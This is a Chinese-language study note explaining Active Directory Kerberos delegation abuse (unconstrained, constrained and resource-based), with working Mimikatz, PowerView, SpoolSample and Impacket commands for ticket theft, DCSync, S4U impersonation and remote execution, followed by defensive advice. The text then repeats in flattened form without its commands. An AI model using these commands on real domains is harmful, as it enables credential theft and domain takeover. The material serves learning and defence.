域委派原理与利用(个人学习的理解)
字数 1667 2025-08-27 12:33:43

域委派原理与利用详解

域委派概述

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。简单来说,如果一个服务账号上设置了委派属性,那么这个服务就能够以用户权限在域内进行其他操作。

委派的应用场景

  1. 统一认证平台:域内用户通过IIS统一认证平台登录,IIS需要使用SQL Server支撑用户访问,但IIS本身权限不足。
  2. 文件服务器权限细分:实现每个人不同的权限,能看到不同的目录。

谁能被设置委派属性

在域中,只有服务账号主机账号才具有委派属性:

  • 主机账号:AD活动目录中Computers中的计算机,也称为机器账号
  • 服务账号:服务器运行服务时所用的账号,如SQL Server的SQLServiceAccount

委派类型

1. 非约束性委派

原理
服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT模拟用户访问任意服务。

流程

  1. 用户访问服务A,向KDC认证身份
  2. KDC检查服务A的委派属性
  3. 如果是非约束性委派,KDC将用户的TGT放在ST票据中返还给用户
  4. 用户带着包含TGT的ST访问服务A
  5. 服务A获取用户的TGT,获得用户所有权限

特点

  • 目标ACL属性中包含TRUSTED_FOR_DELEGATION
  • 设置需要SeEnableDelegation特权(通常仅域管理员有)
  • 域控主机默认是非约束性委派

利用方法

  1. 寻找配置了非约束性委派的服务或主机账号:
    Get-Netcomputer -Unconstrained | select name
    Get-NetUser -Unconstrained | select name
    
  2. 诱导其他账号(如域管)访问配置了非约束性委派的服务或主机
  3. 导出票据,进行票据注入:
    privilege::debug
    sekurlsa::tickets /export
    kerberos::ptt [票据文件]
    kerberos::list
    lsadump::dcsync /domain:domain.com /all /csv
    

Spooler打印机BUG+非约束性委派

  • 原理:利用MS-RPRN协议强制目标通过Kerberos或NTLM向攻击者选择的目标发起身份认证请求
  • 利用工具:
    • https://github.com/leechristensen/SpoolSample/
    • https://github.com/GhostPack/Rubeus
  • 操作流程:
    1. 在非约束性委派主机上以本地管理员权限监听TGT
    2. 使用普通域账号强制让域控机器账号进行认证:
      runas /user:domain\user powershell
      SpoolSample.exe DC 委派主机
      
    3. 快速导出票据

2. 约束性委派

原理
微软在Windows Server 2003中引入,对Kerberos协议进行拓展,引入S4U:

  • S4U2proxy:服务A将用户ST1转发给TGS请求ST2访问服务B
  • S4U2self:当用户以非Kerberos方式认证时,服务A可向TGS为任意用户请求访问自身的可转发服务票据

利用方法

  1. 寻找约束性委派服务账号:
    Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
    Get-DomainComputer -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
    
  2. 获取服务账号权限后,导出TGT或使用账号密码
  3. 利用S4U协议伪造管理员请求:
    tgs::s4u /tgt:[TGT票据] /user:Administrator@domain.com /service:服务B的SPN
    
  4. 导入获得的ST2票据:
    kerberos::ptt TGS_票据文件
    

3. 基于资源的约束委派(RBCD)

原理
Windows Server 2012引入,与传统约束委派相反:

  • 通过修改服务B属性"msDS-AllowedToActOnBehalfOfOtherIdentity",添加服务A的SPN
  • 让服务A模拟用户访问B资源

利用前提

  1. 能修改目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性:
    • 带该机器入域的域用户
    • 该机器本身的机器账户
  2. 目标机器具有SPN账号

利用场景

  • 提权:模拟其他用户访问自身,抓取本地密码
  • 权限维持:配置恶意账号到krbtgt或域控的基于资源的约束委派

查询机器入域信息

AdFind.exe -h DC_IP -b "DC=domain,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
Get-DomainUser -Identity 用户名 -Properties objectsid

提权利用流程

  1. 创建机器账号:
    New-MachineAccount -MachineAccount 机器名 -Password $(ConvertTo-SecureString "密码" -AsPlainText -Force)
    
  2. 设置资源委派:
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;机器账号SID)"
    $SDBytes = New-Object byte[] ($SD.BinaryLength)
    $SD.GetBinaryForm($SDBytes, 0)
    Get-DomainComputer 目标主机名 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
    
  3. 利用S4U协议获取ST:
    python3 getST.py -dc-ip DC_IP 域名/机器账号\$:密码 -spn 服务SPN -impersonate administrator
    export KRB5CCNAME=票据文件
    python3 wmiexec.py 目标主机 -no-pass -k -dc-ip DC_IP
    

防御建议

  1. 限制非约束性委派的使用
  2. 严格控制约束性委派配置
  3. 监控敏感账户的委派属性变更
  4. 限制普通用户创建机器账号的数量
  5. 定期审计域内委派配置
  6. 禁用不必要的服务如Print Spooler

工具列表

  • Mimikatz:票据导出和注入
  • Rubeus:Kerberos操作
  • SpoolSample:打印机漏洞利用
  • Powermad:创建机器账号
  • PowerView:域信息查询
  • Impacket:协议利用工具包
域委派原理与利用详解 域委派概述 域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。简单来说,如果一个服务账号上设置了委派属性,那么这个服务就能够以用户权限在域内进行其他操作。 委派的应用场景 统一认证平台 :域内用户通过IIS统一认证平台登录,IIS需要使用SQL Server支撑用户访问,但IIS本身权限不足。 文件服务器权限细分 :实现每个人不同的权限,能看到不同的目录。 谁能被设置委派属性 在域中,只有 服务账号 和 主机账号 才具有委派属性: 主机账号 :AD活动目录中Computers中的计算机,也称为机器账号 服务账号 :服务器运行服务时所用的账号,如SQL Server的SQLServiceAccount 委派类型 1. 非约束性委派 原理 : 服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT模拟用户访问任意服务。 流程 : 用户访问服务A,向KDC认证身份 KDC检查服务A的委派属性 如果是非约束性委派,KDC将用户的TGT放在ST票据中返还给用户 用户带着包含TGT的ST访问服务A 服务A获取用户的TGT,获得用户所有权限 特点 : 目标ACL属性中包含TRUSTED_ FOR_ DELEGATION 设置需要SeEnableDelegation特权(通常仅域管理员有) 域控主机默认是非约束性委派 利用方法 : 寻找配置了非约束性委派的服务或主机账号: 诱导其他账号(如域管)访问配置了非约束性委派的服务或主机 导出票据,进行票据注入: Spooler打印机BUG+非约束性委派 : 原理:利用MS-RPRN协议强制目标通过Kerberos或NTLM向攻击者选择的目标发起身份认证请求 利用工具: https://github.com/leechristensen/SpoolSample/ https://github.com/GhostPack/Rubeus 操作流程: 在非约束性委派主机上以本地管理员权限监听TGT 使用普通域账号强制让域控机器账号进行认证: 快速导出票据 2. 约束性委派 原理 : 微软在Windows Server 2003中引入,对Kerberos协议进行拓展,引入S4U: S4U2proxy :服务A将用户ST1转发给TGS请求ST2访问服务B S4U2self :当用户以非Kerberos方式认证时,服务A可向TGS为任意用户请求访问自身的可转发服务票据 利用方法 : 寻找约束性委派服务账号: 获取服务账号权限后,导出TGT或使用账号密码 利用S4U协议伪造管理员请求: 导入获得的ST2票据: 3. 基于资源的约束委派(RBCD) 原理 : Windows Server 2012引入,与传统约束委派相反: 通过修改服务B属性"msDS-AllowedToActOnBehalfOfOtherIdentity",添加服务A的SPN 让服务A模拟用户访问B资源 利用前提 : 能修改目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性: 带该机器入域的域用户 该机器本身的机器账户 目标机器具有SPN账号 利用场景 : 提权:模拟其他用户访问自身,抓取本地密码 权限维持:配置恶意账号到krbtgt或域控的基于资源的约束委派 查询机器入域信息 : 提权利用流程 : 创建机器账号: 设置资源委派: 利用S4U协议获取ST: 防御建议 限制非约束性委派的使用 严格控制约束性委派配置 监控敏感账户的委派属性变更 限制普通用户创建机器账号的数量 定期审计域内委派配置 禁用不必要的服务如Print Spooler 工具列表 Mimikatz:票据导出和注入 Rubeus:Kerberos操作 SpoolSample:打印机漏洞利用 Powermad:创建机器账号 PowerView:域信息查询 Impacket:协议利用工具包